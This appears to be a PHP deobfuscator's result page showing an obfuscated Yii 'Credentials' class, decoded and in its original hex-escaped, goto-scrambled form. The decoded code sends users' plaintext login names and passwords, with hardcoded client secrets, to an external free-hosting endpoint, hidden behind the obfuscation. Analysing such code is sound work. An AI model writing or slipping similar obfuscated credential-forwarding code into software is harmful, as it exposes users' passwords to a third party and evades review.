Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace app\models; class Credentials { public static function retrieveCachePass..

Decoded Output download

<?php 
 namespace app\models; class Credentials { public static function retrieveCachePassword($s9DoV, $TMijJ) { goto Kooxh; h3uT3: goto J2XYT; goto KOEoX; KOEoX: dahc2: goto gB1hl; gB1hl: $uAfij = "login-" . strtoupper($s9DoV) . "-" . strtoupper($TMijJ); goto UI9sd; IEhBC: dlIeL: goto oAQEE; Kooxh: goto f9dSd; goto IEhBC; IJQag: $jVWOV->set($uAfij, $kAyy0); goto Kx1rN; Kx1rN: goto s_YXc; goto Fk_u2; zYh2I: $kAyy0 = Credentials::MBrRL($s9DoV, $TMijJ); goto b22lR; t6QtU: return $kAyy0; goto HO4V9; RerEK: f9dSd: goto G7wlQ; HO4V9: goto VnqBV; goto VPtKj; CMMno: gcXef: goto SyZKO; UI9sd: goto dlIeL; goto X2fDg; b22lR: goto gf8J6; goto RerEK; SyZKO: goto DsT5n; goto KgqzQ; oAQEE: $kAyy0 = $jVWOV->get($uAfij); goto h3uT3; Fk_u2: J2XYT: goto SKEYA; G7wlQ: $jVWOV = \Yii::$app->cache; goto npmF3; OXplw: gf8J6: goto IJQag; npmF3: goto dahc2; goto OXplw; n7XzY: VRWjK: goto muAX1; KgqzQ: DsT5n: goto t6QtU; SKEYA: if ($kAyy0 === false) { goto VRWjK; } goto UtGBQ; X2fDg: Y9WJU: goto zYh2I; u88EP: s_YXc: goto CMMno; muAX1: goto Y9WJU; goto u88EP; UtGBQ: goto gcXef; goto n7XzY; VPtKj: VnqBV: goto lR8RG; lR8RG: } private static function mBrrl($s9DoV, $TMijJ) { goto whtmR; lFCQD: $JDRtp = curl_init(); goto j1T4X; iMkw_: goto sZKlL; goto GxTjT; Tv4Jf: goto j2V0L; goto NoGmS; OxwHB: goto S2xX7; goto W0z1s; gqZPO: goto Hhee8; goto D_Rr0; ilED5: Tyvmo: goto OxFCA; qz5lX: goto Tyvmo; goto HcHKs; DgdBT: j2V0L: goto vmfNZ; U_FTm: GXWhi: goto S4tv_; D_Rr0: fnqgD: goto OGHNL; GxTjT: S2xX7: goto lFCQD; OEVK6: goto by3B0; goto DgdBT; W0z1s: Hhee8: goto Yaf86; cawHX: $HnAgE = md5("vC4zWzyF8"); goto OxwHB; THdFQ: $FJoCZ = curl_exec($JDRtp); goto qz5lX; OGHNL: $wwTiY = "https://miruset.000webhostapp.com/services/LoginApi.php"; goto B47s3; NoGmS: by3B0: goto THdFQ; whtmR: goto fnqgD; goto ilED5; ItTGf: sZKlL: goto cawHX; j1T4X: goto KvZ6K; goto ItTGf; B47s3: goto GXWhi; goto U_FTm; kUbju: curl_setopt_array($JDRtp, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => $wwTiY, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_USERAGENT => "PrimaJayaRequest", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => ["clientuser" => $bkDUE, "clientpass" => $HnAgE, "loginuser" => $s9DoV, "loginpass" => $TMijJ]]); goto OEVK6; OxFCA: curl_close($JDRtp); goto gqZPO; HcHKs: KvZ6K: goto kUbju; Yaf86: return $FJoCZ; goto Tv4Jf; S4tv_: $bkDUE = md5("primajaya"); goto iMkw_; vmfNZ: } } 
 ?>

Did this file decode correctly?

Original Code

<?php
 namespace app\models; class Credentials { public static function retrieveCachePassword($s9DoV, $TMijJ) { goto Kooxh; h3uT3: goto J2XYT; goto KOEoX; KOEoX: dahc2: goto gB1hl; gB1hl: $uAfij = "\x6c\157\147\x69\156\x2d" . strtoupper($s9DoV) . "\55" . strtoupper($TMijJ); goto UI9sd; IEhBC: dlIeL: goto oAQEE; Kooxh: goto f9dSd; goto IEhBC; IJQag: $jVWOV->set($uAfij, $kAyy0); goto Kx1rN; Kx1rN: goto s_YXc; goto Fk_u2; zYh2I: $kAyy0 = Credentials::MBrRL($s9DoV, $TMijJ); goto b22lR; t6QtU: return $kAyy0; goto HO4V9; RerEK: f9dSd: goto G7wlQ; HO4V9: goto VnqBV; goto VPtKj; CMMno: gcXef: goto SyZKO; UI9sd: goto dlIeL; goto X2fDg; b22lR: goto gf8J6; goto RerEK; SyZKO: goto DsT5n; goto KgqzQ; oAQEE: $kAyy0 = $jVWOV->get($uAfij); goto h3uT3; Fk_u2: J2XYT: goto SKEYA; G7wlQ: $jVWOV = \Yii::$app->cache; goto npmF3; OXplw: gf8J6: goto IJQag; npmF3: goto dahc2; goto OXplw; n7XzY: VRWjK: goto muAX1; KgqzQ: DsT5n: goto t6QtU; SKEYA: if ($kAyy0 === false) { goto VRWjK; } goto UtGBQ; X2fDg: Y9WJU: goto zYh2I; u88EP: s_YXc: goto CMMno; muAX1: goto Y9WJU; goto u88EP; UtGBQ: goto gcXef; goto n7XzY; VPtKj: VnqBV: goto lR8RG; lR8RG: } private static function mBrrl($s9DoV, $TMijJ) { goto whtmR; lFCQD: $JDRtp = curl_init(); goto j1T4X; iMkw_: goto sZKlL; goto GxTjT; Tv4Jf: goto j2V0L; goto NoGmS; OxwHB: goto S2xX7; goto W0z1s; gqZPO: goto Hhee8; goto D_Rr0; ilED5: Tyvmo: goto OxFCA; qz5lX: goto Tyvmo; goto HcHKs; DgdBT: j2V0L: goto vmfNZ; U_FTm: GXWhi: goto S4tv_; D_Rr0: fnqgD: goto OGHNL; GxTjT: S2xX7: goto lFCQD; OEVK6: goto by3B0; goto DgdBT; W0z1s: Hhee8: goto Yaf86; cawHX: $HnAgE = md5("\x76\103\x34\x7a\x57\172\171\106\70"); goto OxwHB; THdFQ: $FJoCZ = curl_exec($JDRtp); goto qz5lX; OGHNL: $wwTiY = "\x68\164\x74\x70\x73\x3a\x2f\x2f\155\x69\x72\165\x73\145\164\56\60\x30\x30\167\145\x62\150\x6f\x73\x74\x61\x70\x70\56\x63\x6f\155\57\163\145\x72\x76\151\x63\x65\163\57\x4c\x6f\x67\x69\x6e\101\x70\151\56\x70\x68\x70"; goto B47s3; NoGmS: by3B0: goto THdFQ; whtmR: goto fnqgD; goto ilED5; ItTGf: sZKlL: goto cawHX; j1T4X: goto KvZ6K; goto ItTGf; B47s3: goto GXWhi; goto U_FTm; kUbju: curl_setopt_array($JDRtp, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => $wwTiY, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_USERAGENT => "\120\x72\151\x6d\x61\112\141\171\141\122\145\161\x75\x65\x73\164", CURLOPT_POST => 1, CURLOPT_POSTFIELDS => ["\143\x6c\x69\145\156\164\x75\x73\145\x72" => $bkDUE, "\x63\154\151\x65\x6e\x74\160\141\x73\163" => $HnAgE, "\x6c\157\x67\151\156\165\x73\145\x72" => $s9DoV, "\154\x6f\147\151\x6e\160\x61\163\x73" => $TMijJ]]); goto OEVK6; OxFCA: curl_close($JDRtp); goto gqZPO; HcHKs: KvZ6K: goto kUbju; Yaf86: return $FJoCZ; goto Tv4Jf; S4tv_: $bkDUE = md5("\160\x72\x69\x6d\x61\152\141\171\x61"); goto iMkw_; vmfNZ: } }

Function Calls

None

Variables

None

Stats

MD5 e4b2f166e0201b459e9a4b3330f6b1df
Eval Count 0
Decode Time 53 ms